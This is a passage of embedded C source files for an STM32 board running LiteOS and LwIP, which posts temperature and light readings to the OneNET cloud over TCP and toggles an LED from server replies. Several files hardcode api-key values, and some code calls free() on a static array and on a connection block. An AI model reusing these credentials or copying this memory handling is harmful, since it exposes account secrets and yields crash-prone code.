LOS_TaskDelay(1000);
}
}
UINT32 creat_task2()
{
UINT32 uwRet = LOS_OK;
TSK_INIT_PARAM_S task_init_param;
task_init_param.usTaskPrio = 0;
task_init_param.pcName = "task2";
task_init_param.pfnTaskEntry = (TSK_ENTRY_FUNC)task2;
task_init_param.uwStackSize = 0x400;
uwRet = LOS_TaskCreate(&g_TskHandle, &task_init_param);
if(LOS_OK != uwRet)
{
return uwRet;
}
return uwRet;
}
int main(void)
{
UINT32 uwRet = LOS_OK;
LOS_KernelInit();//ๅ
ๆ ธๅๅงๅ
hardware_init();//็กฌไปถๅๅงๅ
uwRet = creat_task1();
if(uwRet != LOS_OK)
{
return uwRet;
}
uwRet = creat_task2();
if(uwRet != LOS_OK)
{
return uwRet;
}
uwRet = creat_task3();
if(uwRet != LOS_OK)
{
return uwRet;
}
LOS_Start();//ๅฏๅจLiteOS
}
```
tcp_echoclient.c
```/**
******************************************************************************
* @file tcp_echoclient.c
* @author MCD Application Team
* @version V1.1.0
* @date 31-July-2013
* @brief tcp echoclient application using LwIP RAW API
******************************************************************************
* @attention
*
* <h2><center>© COPYRIGHT 2013 STMicroelectronics</center></h2>
*
* Licensed under MCD-ST Liberty SW License Agreement V2, (the "License");
* You may not use this file except in compliance with the License.
* You may obtain a copy of the License at:
*
* http://www.st.com/software_license_agreement_liberty_v2
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
******************************************************************************
*/
/* Includes ------------------------------------------------------------------*/
#include "lwip/debug.h"
#include "lwip/stats.h"
#include "lwip/tcp.h"
#include "memp.h"
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "netconf.h"
#include "LAN8742A.h"
#include "tcp_echoclient.h"
#include "cjson.h"
#include "bsp_led.h"
#include "utils.h"
#if LWIP_TCP
/* Private typedef -----------------------------------------------------------*/
/* Private define ------------------------------------------------------------*/
/* Private macro -------------------------------------------------------------*/
/* Private variables ---------------------------------------------------------*/
u8_t recev_buf[50];
__IO uint32_t message_count=0;
u8_t data[100];
extern struct tcp_pcb *echoclient_pcb;
/* ECHO protocol states */
enum echoclient_states
{
ES_NOT_CONNECTED = 0,
ES_CONNECTED,
ES_RECEIVED,
ES_CLOSING,
};
/* structure to be passed as argument to the tcp callbacks */
struct echoclient
{
enum echoclient_states state; /* connection status */
struct tcp_pcb *pcb; /* pointer on the current tcp_pcb */
struct pbuf *p_tx; /* pointer on pbuf to be transmitted */
};
struct echoclient * echoclient_es;
/* Private function prototypes -----------------------------------------------*/
static err_t tcp_echoclient_recv(void *arg, struct tcp_pcb *tpcb, struct pbuf *p, err_t err);
static void tcp_echoclient_connection_close(struct tcp_pcb *tpcb, struct echoclient * es);
static err_t tcp_echoclient_poll(void *arg, struct tcp_pcb *tpcb);
static err_t tcp_echoclient_sent(void *arg, struct tcp_pcb *tpcb, u16_t len);
static void tcp_echoclient_send(struct tcp_pcb *tpcb, struct echoclient * es);
static err_t tcp_echoclient_connected(void *arg, struct tcp_pcb *tpcb, err_t err);
/* Private functions ---------------------------------------------------------*/
/**
* @brief Connects to the TCP echo server
* @param None
* @retval None
*/
//tcpๆๅกๅจ่ฟๆฅ็ถๆ
enum tcp_client_states
{
ES_TCPCLIENT_NONE = 0, //ๆฒกๆ่ฟๆฅ
ES_TCPCLIENT_CONNECTED, //่ฟๆฅๅฐๆๅกๅจไบ
ES_TCPCLIENT_CLOSING, //ๅ
ณ้ญ่ฟๆฅ
};
typedef struct{
char ucMsgBuf[1024];
int dwLen;
}MSG_BUF_STRUCT;
//LWIPๅ่ฐๅฝๆฐไฝฟ็จ็็ปๆไฝ
struct tcp_client_struct
{
u8 state; //ๅฝๅ่ฟๆฅ็ถ
struct tcp_pcb *pcb; //ๆๅๅฝๅ็pcb
struct pbuf *p; //ๆๅๆฅๆถ/ๆไผ ่พ็pbuf
};
//TCP Clientๆฅๆถๆฐๆฎ็ผๅฒๅบ
MSG_BUF_STRUCT tcp_client_recvbuf;
int tcp_client_flag;
//lwIP tcp_recv()ๅฝๆฐ็ๅ่ฐๅฝๆฐ
//tcp_echoclient_recv(void *arg, struct tcp_pcb *tpcb, struct pbuf *p, err_t err);
err_t tcp_echoclient_recv(void *arg,struct tcp_pcb *tpcb,struct pbuf *p,err_t err)
{
u32 data_len=0;
struct pbuf *q;
struct tcp_client_struct *es;
err_t ret_err;
LWIP_ASSERT("arg != NULL",arg != NULL);
es=(struct tcp_client_struct *)arg;
if(p==NULL)//ๅฆๆไปๆๅกๅจๆฅๆถๅฐ็ฉบ็ๆฐๆฎๅธงๅฐฑๅ
ณ้ญ่ฟๆฅ
{
es->state=ES_TCPCLIENT_CLOSING;//้่ฆๅ
ณ้ญTCP ่ฟๆฅไบ
es->p=p;
ret_err=ERR_OK;
}
else if(err!= ERR_OK) //ๅฝๆฅๆถๅฐไธไธช้็ฉบ็ๆฐๆฎๅธง,ไฝๆฏerr!=ERR_OK
{
if(p)pbuf_free(p);//้ๆพๆฅๆถpbuf
ret_err=err;
}
else if(es->state==ES_TCPCLIENT_CONNECTED) //ๅฝๅคไบ่ฟๆฅ็ถๆๆถ
{
if(p!=NULL)//ๅฝๅคไบ่ฟๆฅ็ถๆๅนถไธๆฅๆถๅฐ็ๆฐๆฎไธไธบ็ฉบๆถ
{
memset(tcp_client_recvbuf.ucMsgBuf,0,1024); //ๆฐๆฎๆฅๆถ็ผๅฒๅบๆธ
้ถ
for(q=p; q!=NULL; q=q->next) //้ๅๅฎๆดไธชpbuf้พ่กจ
{
//ๅคๆญ่ฆๆท่ดๅฐTCP_CLIENT_RX_BUFSIZEไธญ็ๆฐๆฎๆฏๅฆๅคงไบTCP_CLIENT_RX_BUFSIZE็ๅฉไฝ็ฉบ้ด๏ผๅฆๆๅคงไบ
//็่ฏๅฐฑๅชๆท่ดTCP_CLIENT_RX_BUFSIZEไธญๅฉไฝ้ฟๅบฆ็ๆฐๆฎ๏ผๅฆๅ็่ฏๅฐฑๆท่ดๆๆ็ๆฐๆฎ
if(q->len > (1024-data_len)) memcpy(tcp_client_recvbuf.ucMsgBuf+data_len,q->payload,(1024-data_len));//ๆท่ดๆฐๆฎ
else memcpy(tcp_client_recvbuf.ucMsgBuf+data_len,q->payload,q->len);
data_len += q->len;
if(data_len > 1024) break; //่ถ
ๅบTCPๅฎขๆท็ซฏๆฅๆถๆฐ็ป,่ทณๅบ
}
tcp_client_recvbuf.dwLen = data_len;
tcp_client_flag=1; //ๆ ่ฎฐๆฅๆถๅฐๆฐๆฎไบ
tcp_recved(tpcb,p->tot_len);//็จไบ่ทๅๆฅๆถๆฐๆฎ,้็ฅLWIPๅฏไปฅ่ทๅๆดๅคๆฐๆฎ
//printf("ๆฅๆถๅฐ%dๅญ่ๆฐๆฎ:\n%s\n",tcp_client_recvbuf.dwLen,tcp_client_recvbuf.ucMsgBuf);
pbuf_free(p); //้ๆพๅ
ๅญ
ret_err=ERR_OK;
}
}
else //ๆฅๆถๅฐๆฐๆฎไฝๆฏ่ฟๆฅๅทฒ็ปๅ
ณ้ญ,
{
tcp_recved(tpcb,p->tot_len);//็จไบ่ทๅๆฅๆถๆฐๆฎ,้็ฅLWIPๅฏไปฅ่ทๅๆดๅคๆฐๆฎ
es->p=NULL;
pbuf_free(p); //้ๆพๅ
ๅญ
ret_err=ERR_OK;
}
return ret_err;
}
void tcp_echoclient_connect(void)
{
struct ip_addr DestIPaddr;
int ee;
/* create new tcp pcb */
echoclient_pcb = tcp_new();
if (echoclient_pcb != NULL)
{
IP4_ADDR( &DestIPaddr, DEST_IP_ADDR0, DEST_IP_ADDR1, DEST_IP_ADDR2, DEST_IP_ADDR3 );
/* connect to destination address/port */
ee=tcp_connect(echoclient_pcb,&DestIPaddr,DEST_PORT,tcp_echoclient_connected);
if(ERR_OK == ee) // ?????
{
printf("\n\r Connect Server SUCCESS!");
}
else {printf("\n\r Connect Server fail!"); }
}
else
{
/* deallocate the pcb */
memp_free(MEMP_TCP_PCB, echoclient_pcb);
#ifdef SERIAL_DEBUG
printf("\n\r can not create tcp pcb");
#endif
}
}
/**
* @brief Disconnects to the TCP echo server
* @param None
* @retval None
*/
void tcp_echoclient_disconnect(void)
{
/* close connection */
tcp_echoclient_connection_close(echoclient_pcb,echoclient_es);
#ifdef SERIAL_DEBUG
printf("\n\r close TCP connection");
#endif
}
/**
* @brief Function called when TCP connection established
* @param tpcb: pointer on the connection contol block
* @param err: when connection correctly established err should be ERR_OK
* @retval err_t: returned error
*/
static err_t tcp_echoclient_connected(void *arg, struct tcp_pcb *tpcb, err_t err)
{
struct echoclient *es = NULL;
if (err == ERR_OK)
{
/* allocate structure es to maintain tcp connection informations */
es = (struct echoclient *)mem_malloc(sizeof(struct echoclient));
echoclient_es=es;
if (es != NULL)
{
es->state = ES_CONNECTED;
es->pcb = tpcb;
//sprintf((char*)data, "sending tcp client message %d", message_count);
/* allocate pbuf */
// es->p_tx = pbuf_alloc(PBUF_TRANSPORT, strlen((char*)data) , PBUF_POOL);
if (es->p_tx)
{
/* copy data to pbuf */
// pbuf_take(es->p_tx, (char*)data, strlen((char*)data));
/* pass newly allocated es structure as argument to tpcb */
tcp_arg(tpcb, es);
/* initialize LwIP tcp_recv callback function */
tcp_recv(tpcb, tcp_echoclient_recv);
/* initialize LwIP tcp_sent callback function */
//tcp_sent(tpcb, tcp_echoclient_sent);
/* initialize LwIP tcp_poll callback function */
//tcp_poll(tpcb, tcp_echoclient_poll, 1);
/* send data */
//tcp_echoclient_send(tpcb,es);
return ERR_OK;
}
}
else
{
/* close connection */
tcp_echoclient_connection_close(tpcb, es);
/* return memory allocation error */
return ERR_MEM;
}
}
else
{
/* close connection */
tcp_echoclient_connection_close(tpcb, es);
}
return err;
}
/**
* @brief tcp_receiv callback
* @param arg: argument to be passed to receive callback
* @param tpcb: tcp connection control block
* @param err: receive error code
* @retval err_t: retuned error
*/
char *recdata=0;
char temp[1556];
static err_t tcp_echoclient_recv11(void *arg, struct tcp_pcb *tpcb, struct pbuf *p, err_t err)
{
struct echoclient *es;
err_t ret_err;
cJSON *json;
LWIP_ASSERT("arg != NULL",arg != NULL);
es = (struct echoclient *)arg;
/* if we receive an empty tcp frame from server => close connection */
if (p == NULL)
{
/* remote host closed connection */
es->state = ES_CLOSING;
if(es->p_tx == NULL)
{
/* we're done sending, close connection */
tcp_echoclient_connection_close(tpcb, es);
}
else
{
/* send remaining data*/
tcp_echoclient_send(tpcb, es);
}
ret_err = ERR_OK;
}
/* else : a non empty frame was received from echo server but for some reason err != ERR_OK */
else if(err != ERR_OK)
{
/* free received pbuf*/
pbuf_free(p);
ret_err = err;
}
else if(es->state == ES_CONNECTED)
{
/* increment message count */
message_count++;
/* Acknowledge data reception */
tcp_recved(tpcb, p->tot_len);
printf("\r\nrec1:[%d]%d",sizeof(p->tot_len),p->tot_len);
#ifdef SERIAL_DEBUG
recdata=malloc(p->tot_len*sizeof(unsigned char));
printf("\r\nrec2:%s\r\n",recdata);
if(recdata!=NULL)
{
memcpy(recdata,p->payload,p->tot_len);
// printf("\r\nrec:[%d]%s\r\n",p->tot_len,p->payload);
printf("\r\nrec:[%d]%s",strlen(recdata),recdata);
}
json=cJSON_Parse(recdata);
/*{"errno":0,"data":{"count":4,
"datastreams":[{
"datapoints":[{
"at":"2018-05-10 07:25:17.913","value":0
}],
"id":"LED1"},
{"datapoints":[{"at":"2018-05-11 13:29:40.535","value":24}],"id":"temperature"}*/
if (json != NULL)
{
cJSON *tmp;
tmp = cJSON_GetObjectItem(json,"data");
if(tmp != NULL)
{
tmp = cJSON_GetObjectItem(tmp,"datastreams");
//printf("width=%d\n",tmp->valueint);
if(tmp != NULL)
{
tmp = cJSON_GetObjectItem(tmp,"datapoints");
//printf("width=%d\n",tmp->valueint);
if(tmp != NULL)
{
tmp = cJSON_GetObjectItem(tmp,"id");
printf("id=%s\n",tmp->valuestring);
}
}
}
}
free(recdata);
#endif
/* free received pbuf*/
pbuf_free(p);
// tcp_echoclient_connection_close(tpcb, es);
ret_err = ERR_OK;
}
/* data received when connection already closed */
else
{
/* Acknowledge data reception */
tcp_recved(tpcb, p->tot_len);
free(tpcb);
/* free pbuf and do nothing */
pbuf_free(p);
ret_err = ERR_OK;
}
return ret_err;
}
/**
* @brief function used to send data
* @param tpcb: tcp control block
* @param es: pointer on structure of type echoclient containing info on data
* to be sent
* @retval None
*/
static void tcp_echoclient_send(struct tcp_pcb *tpcb, struct echoclient * es)
{
struct pbuf *ptr;
err_t wr_err = ERR_OK;
while ((wr_err == ERR_OK) &&
(es->p_tx != NULL) &&
(es->p_tx->len <= tcp_sndbuf(tpcb)))
{
/* get pointer on pbuf from es structure */
ptr = es->p_tx;
/* enqueue data for transmission */
wr_err = tcp_write(tpcb, ptr->payload, ptr->len, 1);
if (wr_err == ERR_OK)
{
/* continue with next pbuf in chain (if any) */
es->p_tx = ptr->next;
if(es->p_tx != NULL)
{
/* increment reference count for es->p */
pbuf_ref(es->p_tx);
}
/* free pbuf: will free pbufs up to es->p (because es->p has a reference count > 0) */
pbuf_free(ptr);
}
else if(wr_err == ERR_MEM)
{
/* we are low on memory, try later, defer to poll */
es->p_tx = ptr;
}
else
{
/* other problem ?? */
}
}
}
/**
* @brief This function implements the tcp_poll callback function
* @param arg: pointer on argument passed to callback
* @param tpcb: tcp connection control block
* @retval err_t: error code
*/
static err_t tcp_echoclient_poll(void *arg, struct tcp_pcb *tpcb)
{
err_t ret_err;
struct echoclient *es;
es = (struct echoclient*)arg;
if (es != NULL)
{
if (es->p_tx != NULL)
{
/* there is a remaining pbuf (chain) , try to send data */
tcp_echoclient_send(tpcb, es);
}
else
{
/* no remaining pbuf (chain) */
if(es->state == ES_CLOSING)
{
/* close tcp connection */
tcp_echoclient_connection_close(tpcb, es);
}
}
ret_err = ERR_OK;
}
else
{
/* nothing to be done */
tcp_abort(tpcb);
ret_err = ERR_ABRT;
}
return ret_err;
}
/**
* @brief This function implements the tcp_sent LwIP callback (called when ACK
* is received from remote host for sent data)
* @param arg: pointer on argument passed to callback
* @param tcp_pcb: tcp connection control block
* @param len: length of data sent
* @retval err_t: returned error code
*/
static err_t tcp_echoclient_sent(void *arg, struct tcp_pcb *tpcb, u16_t len)
{
struct echoclient *es;
LWIP_UNUSED_ARG(len);
es = (struct echoclient *)arg;
if(es->p_tx != NULL)
{
/* still got pbufs to send */
tcp_echoclient_send(tpcb, es);
}
return ERR_OK;
}
/**
* @brief This function is used to close the tcp connection with server
* @param tpcb: tcp connection control block
* @param es: pointer on echoclient structure
* @retval None
*/
static void tcp_echoclient_connection_close(struct tcp_pcb *tpcb, struct echoclient * es )
{
/* remove callbacks */
tcp_recv(tpcb, NULL);
tcp_sent(tpcb, NULL);
tcp_poll(tpcb, NULL,0);
if (es != NULL)
{
mem_free(es);
}
/* close tcp connection */
tcp_close(tpcb);
}
int led_flag=0;
int len_post;
int temperature1=0;
int humidity1=0;
char post_data2[255]={0};//ๅ
จๅฑๅ้๏ผๅจbsp_dht11.c็int mainDHT11(void)ๅฝๆฐไธญ
void MCU_to_TCP(void)
{
struct tcp_pcb *cpcb;
cpcb=echoclient_pcb;
//ๅฐๆฐๆฎๅ้ๅบๅป
if(echoclient_pcb!=NULL)
{
tcp_write(echoclient_pcb,post_data2,strlen(post_data2),1);//ๆฅๆถๅฐๆๅกๅจๆฐๆฎๅๅๅ้ฆๅๆๆฐๆฎๅๆๅกๅจ
tcp_output(echoclient_pcb); //ๅพช็ฏๅ้ๆฐๆฎ
}
else free(cpcb);
free(post_data2);
}
const unsigned char get_requst3[]="GET /devices/29702274/datapoints HTTP/1.1\r\napi-key: TnWg0VdW6kIhU9=6I9AewR=TxKQ=\r\nHost: api.heclouds.com\r\n\r\n";
const char get_requst11[]={0x47,0x45,0x54,0x20,0x2F,0x64,0x65,0x76,0x69,0x63,0x65,0x73,0x2F,0x32,0x39,0x37,0x30,0x32,0x32,0x37,0x34,0x2F,0x64,0x61,0x74,0x61,0x70,0x6F,0x69,0x6E,0x74,0x73,0x20,0x48,0x54,
0x54,0x50,0x2F,0x31,0x2E,0x31,0x0D,0x0A,0x61,0x70,0x69,0x2D,0x6B,0x65,0x79,0x3A,0x20,0x20,0x54,0x6E,0x57,0x67,0x30,0x56,0x64,0x57,0x36,0x6B,0x49,0x68,0x55,0x39,0x3D,0x36,0x49,
0x39,0x41,0x65,0x77,0x52,0x3D,0x54,0x78,0x4B,0x51,0x3D,0x0D,0x0A,0x48,0x6F,0x73,0x74,0x3A,0x20,0x61,0x70,0x69,0x2E,0x68,0x65,0x63,0x6C,0x6F,0x75,0x64,0x73,0x2E,0x63,0x6F,0x6D,
0x0D,0x0A,0x0D,0x0A,0x0D,0x0A};//่ฏฅๆฐๆฎๆฏget_regust3[]ๅญ็ฌฆไธฒ็ๅๅ
ญ่ฟๅถ๏ผ่ฟๆ ทๅ้ๆฐๆฎๆ็้ซ
void GETdata(void)
{
struct tcp_pcb *cpcb;
cpcb=echoclient_pcb;
if(echoclient_pcb!=NULL)
{
tcp_write(cpcb,get_requst11,sizeof(get_requst11),1);//ๆฅๆถๅฐๆๅกๅจๆฐๆฎ
tcp_output(cpcb); //ๅพช็ฏๅ้ๆฐๆฎ
}
}
/*********************************************************
่งฃๆๆฅๆถๅฐ็ๆฐๆฎๅ
๏ผๅนถๆทปๅ ๅบ็จๆงๅถ
2018.5.12
*********************************************************/
int i=0;
char MsgBuf[1024];
int sum=0;
int flagsum=0;
void recDataAnalyze(void)
{
// cJSON *json;
if(tcp_client_flag==1)
{
printf("\r\nๆฅๆถๅฐ%dๅญ่ๆฐๆฎ:\n%s\n",tcp_client_recvbuf.dwLen,tcp_client_recvbuf.ucMsgBuf);
//ๅค็ๆฐๆฎ
strcpy(MsgBuf,&tcp_client_recvbuf.ucMsgBuf[177]); //่ฟๆปคHTTPๅคด้จไฟกๆฏ๏ผ่ทๅ้่ฆ็ๆฐๆฎ
printf("\r\nๆๅๆฐๆฎ:\n%s\n",MsgBuf);
/**ไปฅไธ่งฃๆๆฐๆฎๆ็น็ฎๅ็ฒๆด๏ผ่งฃๆๆ็น้บป็ฆ๏ผไฝๆฏ็กฎๅฎๆๅฎ็จ๏ผๆ็ๆฏ็จcJSON้ซ,ๅ ็จๅ
ๅญ่พๅฐ,ๆไปฅๆๆถไธ็จcJSON**/
for(i=0;i<strlen(MsgBuf);i++)
{
if(MsgBuf[i]=='v'&&(MsgBuf[i+1]=='a'&&MsgBuf[i+2]=='l'&&MsgBuf[i+3]=='u'&&MsgBuf[i+4]=='e'&&MsgBuf[i+5]=='"'))
{
if(MsgBuf[i+6]==':'&&MsgBuf[i+7]=='1')
{
if(MsgBuf[i+17]=='L'&&MsgBuf[i+18]=='E'&&MsgBuf[i+19]=='D'&&MsgBuf[i+20]=='1')
{
LED2_ON;i=0;
memset(MsgBuf,0,1024);
}
}
if(MsgBuf[i+6]==':'&&MsgBuf[i+7]=='0')
{
if(MsgBuf[i+17]=='L'&&MsgBuf[i+18]=='E'&&MsgBuf[i+19]=='D'&&MsgBuf[i+20]=='1')
{
LED2_OFF;i=0;
memset(MsgBuf,0,1024);
}
}
}
}
tcp_client_flag=0;
}
}
#endif
/************************ (C) COPYRIGHT STMicroelectronics *****END OF FILE****/
```
main.c
```/* Includes LiteOS------------------------------------------------------------------*/
#include "stdlib.h"
#include "string.h"
#include "los_base.h"
#include "los_config.h"
#include "los_typedef.h"
#include "los_hwi.h"
#include "los_task.ph"
#include "los_sem.h"
#include "los_event.h"
#include "los_memory.h"
#include "los_queue.ph"
#include "cmsis_os.h"
#include <stdio.h>
#include "stm32f4xx.h"
#include "stm32f4xx_conf.h"
#include "bsp_led.h"
#include "bsp_debug_usart.h"
#include "dwt.h"
#include "bsp_key.h"
#include "lwip/tcp.h"
#include "netconf.h"
#include "tcp_echoclient.h"
#include "stm32f429_phy.h"
#include "bsp_adc.h"
/* Private typedef -----------------------------------------------------------*/
/* Private define ------------------------------------------------------------*/
/* Private macro -------------------------------------------------------------*/
/* Private variables ---------------------------------------------------------*/
KEY Key1,Key2;
UINT32 g_TskHandle;
__IO uint32_t LocalTime = 0; /* this variable is used to create a time reference incremented by 10ms */
extern __IO uint8_t EthLinkStatus;
/* Private function prototypes -----------------------------------------------*/
static void TIM3_Config(uint16_t period,uint16_t prescaler);
/* Private functions ---------------------------------------------------------*/
void TIM3_IRQHandler(void);
void hardware_init(void)
{
LED_GPIO_Config();
Key1_GPIO_Config();
Key2_GPIO_Config();
KeyCreate(&Key1,GetPinStateOfKey1);
KeyCreate(&Key2,GetPinStateOfKey2);
Debug_USART_Config();
DelayInit(SystemCoreClock);
LOS_HwiCreate(TIM3_IRQn, 0,0,TIM3_IRQHandler,NULL);
TIM3_Config(999,899);
printf("Sysclock is %d\r\n",SystemCoreClock);
}
static void TIM3_Config(uint16_t period,uint16_t prescaler)
{
TIM_TimeBaseInitTypeDef TIM_TimeBaseInitStructure;
NVIC_InitTypeDef NVIC_InitStructure;
RCC_APB1PeriphClockCmd(RCC_APB1Periph_TIM3,ENABLE);
TIM_TimeBaseInitStructure.TIM_Prescaler=prescaler;
TIM_TimeBaseInitStructure.TIM_CounterMode=TIM_CounterMode_Up;
TIM_TimeBaseInitStructure.TIM_Period=period;
TIM_TimeBaseInitStructure.TIM_ClockDivision=TIM_CKD_DIV1;
TIM_TimeBaseInit(TIM3,&TIM_TimeBaseInitStructure);
TIM_ITConfig(TIM3,TIM_IT_Update,ENABLE);
TIM_Cmd(TIM3,ENABLE);
NVIC_InitStructure.NVIC_IRQChannel=TIM3_IRQn;
NVIC_InitStructure.NVIC_IRQChannelPreemptionPriority=0x01;
NVIC_InitStructure.NVIC_IRQChannelSubPriority=0x03;
NVIC_InitStructure.NVIC_IRQChannelCmd=ENABLE;
NVIC_Init(&NVIC_InitStructure);
}
void TIM3_IRQHandler(void)
{
if(TIM_GetITStatus(TIM3,TIM_IT_Update)==SET)
{
LocalTime+=10;
}
TIM_ClearITPendingBit(TIM3,TIM_IT_Update);
}
void oneNetTask(void)
{
uint8_t flag=0;
/* ๅๅงๅLED */
LED_GPIO_Config();
/* ๅๅงๅ่ฐ่ฏไธฒๅฃ๏ผไธ่ฌไธบไธฒๅฃ1 */
Debug_USART_Config();
printf("ไปฅๅคช็ฝ้ไฟกไพ็จ\n");
/* Configure ethernet (GPIOs, clocks, MAC, DMA) */
ETH_BSP_Config();
printf("PHYๅๅงๅ็ปๆ\n");
/* Initilaize the LwIP stack */
LwIP_Init();
printf(" KEY1: ๅฏๅจTCP่ฟๆฅ\n");
printf(" KEY2: ๆญๅผTCP่ฟๆฅ\n");
/* IPๅฐๅๅ็ซฏๅฃๅฏๅจnetconf.hๆไปถไฟฎๆน๏ผๆ่
ไฝฟ็จDHCPๆๅก่ชๅจ่ทๅIP
(้่ฆ่ทฏ็ฑๅจๆฏๆ)*/
printf("ๆฌๅฐIPๅ็ซฏๅฃ: %d.%d.%d.%d\n",IP_ADDR0,IP_ADDR1,IP_ADDR2,IP_ADDR3);
printf("่ฟ็ซฏIPๅ็ซฏๅฃ: %d.%d.%d.%d:%d\n",DEST_IP_ADDR0, DEST_IP_ADDR1,DEST_IP_ADDR2, DEST_IP_ADDR3,DEST_PORT);
Rheostat_Init();
while(1)
{
if(flag==0)
{
LED2_ON;
if (EthLinkStatus == 0)
{
printf("connect to tcp server\n");
/*connect to tcp server */
tcp_echoclient_connect();
flag=1;
}
}
if(0)
{
LED2_OFF;
tcp_echoclient_disconnect();
flag=0;
}
/* check if any packet received */
if (ETH_CheckFrameReceived())
{
/* process received ethernet packet */
LwIP_Pkt_Handle();
}
/* handle periodic timers for LwIP */
LwIP_Periodic_Handle(LocalTime);
}
}
UINT32 creat_task1()
{
UINT32 uwRet = LOS_OK;
TSK_INIT_PARAM_S task_init_param;
task_init_param.usTaskPrio = 1;
task_init_param.pcName = "oneNetTask";
task_init_param.pfnTaskEntry = (TSK_ENTRY_FUNC)oneNetTask;
task_init_param.uwStackSize = 0xA00;
uwRet = LOS_TaskCreate(&g_TskHandle, &task_init_param);
if(LOS_OK != uwRet)
{
return uwRet;
}
return uwRet;
}
VOID task2()
{
int count = 0;
while(1)
{
count++;
printf("++++++++This is task2,count is %d\r\n",count);
LOS_TaskDelay(1000);
}
}
UINT32 creat_task2()
{
UINT32 uwRet = LOS_OK;
TSK_INIT_PARAM_S task_init_param;
task_init_param.usTaskPrio = 0;
task_init_param.pcName = "task2";
task_init_param.pfnTaskEntry = (TSK_ENTRY_FUNC)task2;
task_init_param.uwStackSize = 0x400;
uwRet = LOS_TaskCreate(&g_TskHandle, &task_init_param);
if(LOS_OK != uwRet)
{
return uwRet;
}
return uwRet;
}
int main(void)
{
UINT32 uwRet = LOS_OK;
LOS_KernelInit();//ๅ
ๆ ธๅๅงๅ
hardware_init();//็กฌไปถๅๅงๅ
uwRet = creat_task1();
if(uwRet != LOS_OK)
{
return uwRet;
}
uwRet = creat_task2();
if(uwRet != LOS_OK)
{
return uwRet;
}
LOS_Start();//ๅฏๅจLiteOS
}
```
data_collect.c
```#include "data_collect.h"
#include "stdio.h"
#include "string.h"
#include "stdlib.h"
#include "bsp_adc.h"
u8 CollectDataBuf[MAX_BUF_SIZE]={0};
u8 CollectDataLen=0;
u8 CollectDataSendFlag=0;
float Temperature=15.0;
u32 Ligthness=200;
u8 getTempHttpData(void)
{
u8 temp[10]={0};
u8 temp1[100]={0};
// if(CollectDataSendFlag==1)
// return 0;
strcpy(CollectDataBuf,"POST /devices/30962671/datapoints HTTP/1.1\r\n");
strcat(CollectDataBuf,"api-key:MxVZE67SCEn0U0MhwvwkBcGbHBQ=\r\n");
strcat(CollectDataBuf,"Host:api.heclouds.com\r\n");
strcpy(temp1,"{\"datastreams\":[{\"id\":\"temperature\",\"datapoints\":[{\"value\":");
sprintf(temp,"%d.%d",(unsigned int)Temperature,(unsigned int)(Temperature-(unsigned int)Temperature)*1000);
//sprintf(temp,"%06.1f",Temperature);
strcat(temp1,temp);
strcat(temp1,"}]}]}");
sprintf(temp,"%d",strlen(temp1));
strcat(CollectDataBuf,"Content-Length:");
strcat(CollectDataBuf,temp);
strcat(CollectDataBuf,"\r\n\r\n");
strcat(CollectDataBuf,temp1);
CollectDataLen=strlen(CollectDataBuf);
CollectDataSendFlag=1;
return 1;
}
u8 getLightData(void)
{
u8 temp[10]={0};
u8 temp1[100]={0};
// if(CollectDataSendFlag==1)
// return 0;
Ligthness=ADC_ConvertedValue;
strcpy(CollectDataBuf,"POST /devices/30962671/datapoints HTTP/1.1\r\n");
strcat(CollectDataBuf,"api-key:MxVZE67SCEn0U0MhwvwkBcGbHBQ=\r\n");
strcat(CollectDataBuf,"Host:api.heclouds.com\r\n");
strcpy(temp1,"{\"datastreams\":[{\"id\":\"light\",\"datapoints\":[{\"value\":");
sprintf(temp,"%d",Ligthness);
strcat(temp1,temp);
strcat(temp1,"}]}]}");
sprintf(temp,"%d",strlen(temp1));
strcat(CollectDataBuf,"Content-Length:");
strcat(CollectDataBuf,temp);
strcat(CollectDataBuf,"\r\n\r\n");
strcat(CollectDataBuf,temp1);
CollectDataLen=strlen(CollectDataBuf);
CollectDataSendFlag=1;
return 1;
}
```
los_bsp_lwip.h
```#ifndef _LOS_BSP_LWIP_H
#define _LOS_BSP_LWIP_H
extern void LOS_EvbLwipInit(void);
extern void lwip_pkt_handle(void);
#endif /* _LOS_BSP_LWIP_H */
```
main.c
```/* Includes LiteOS------------------------------------------------------------------*/
#include "stdlib.h"
#include "string.h"
#include "los_base.h"
#include "los_config.h"
#include "los_typedef.h"
#include "los_hwi.h"
#include "los_task.ph"
#include "los_sem.h"
#include "los_event.h"
#include "los_memory.h"
#include "los_queue.ph"
#include "cmsis_os.h"
#include <stdio.h>
#include "stm32f4xx.h"
#include "stm32f4xx_conf.h"
#include "bsp_led.h"
#include "bsp_debug_usart.h"
#include "dwt.h"
#include "bsp_key.h"
#include "LAN8742A.h"
#include "bsp_rtc.h"
#include "bsp_rng.h"
#include "lwipopts/netconf.h"
#include "main.h"
/* Private typedef -----------------------------------------------------------*/
/* Private define ------------------------------------------------------------*/
/* Private macro -------------------------------------------------------------*/
/* Private variables ---------------------------------------------------------*/
KEY Key1,Key2;
UINT32 g_TskHandle;
__IO uint32_t LocalTime = 0; /* this variable is used to create a time reference incremented by 10ms */
net_hnd_t hnet; /* Is initialized by cloud_main(). */
unsigned int hrng;
UINT32 g_usSemID;
/* Private function prototypes -----------------------------------------------*/
static void TIM3_Config(uint16_t period,uint16_t prescaler);
/* Private functions ---------------------------------------------------------*/
void TIM3_IRQHandler(void);
void hardware_init(void)
{
LED_GPIO_Config();
Key1_GPIO_Config();
Key2_GPIO_Config();
KeyCreate(&Key1,GetPinStateOfKey1);
KeyCreate(&Key2,GetPinStateOfKey2);
Debug_USART_Config();
DelayInit(SystemCoreClock);
LOS_HwiCreate(TIM3_IRQn, 0,0,TIM3_IRQHandler,NULL);
TIM3_Config(999,899);
printf("Sysclock is %d\r\n",SystemCoreClock);
RTC_CLK_Config();
ETH_BSP_Config();
printf("LAN8720A BSP INIT AND COMFIGURE SUCCESS\n");
/* RTC้
็ฝฎ๏ผ้ๆฉๆถ้ๆบ๏ผ่ฎพ็ฝฎRTC_CLK็ๅ้ข็ณปๆฐ */
RTC_CLK_Config();
RNG_Config();
}
static void TIM3_Config(uint16_t period,uint16_t prescaler)
{
TIM_TimeBaseInitTypeDef TIM_TimeBaseInitStructure;
NVIC_InitTypeDef NVIC_InitStructure;
RCC_APB1PeriphClockCmd(RCC_APB1Periph_TIM3,ENABLE);
